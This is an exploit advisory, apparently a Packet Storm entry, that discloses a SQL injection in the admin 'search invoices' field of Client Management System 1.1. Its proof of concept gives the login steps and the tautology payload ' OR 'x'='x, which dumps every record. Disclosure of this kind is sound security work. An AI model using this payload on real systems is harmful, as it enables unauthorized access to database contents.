Exploit for Client Management System 1.1 SQL Injection

## https://sploitus.com/exploit?id=PACKETSTORM:163157
# Exploit Title: Client Management System 1.1 - 'Search' SQL Injection  
# Date: 14 June 2021  
# Exploit Author: BHAVESH KAUL  
# Vendor Homepage: https://phpgurukul.com  
# Software Link: https://phpgurukul.com/client-management-system-using-php-mysql/  
# Version: 1.1  
# Tested on: Server: XAMPP  
  
# Description #  
  
Client Management System 1.1 is vulnerable to SQL Injection in the admin panel 'search invoices' field because of insufficient user supplied data sanitization.  
  
# Proof of Concept (PoC) : Exploit #  
  
1) Goto: http://localhost/clientms/admin/index.php  
2) Login as admin using test credentials: admin/Test@123  
3) Goto: http://localhost/clientms/admin/search-invoices.php  
4) Enter the following payload in the search field: ' OR 'x'='x  
5) All results are showed instead of none ==> SQL Injection success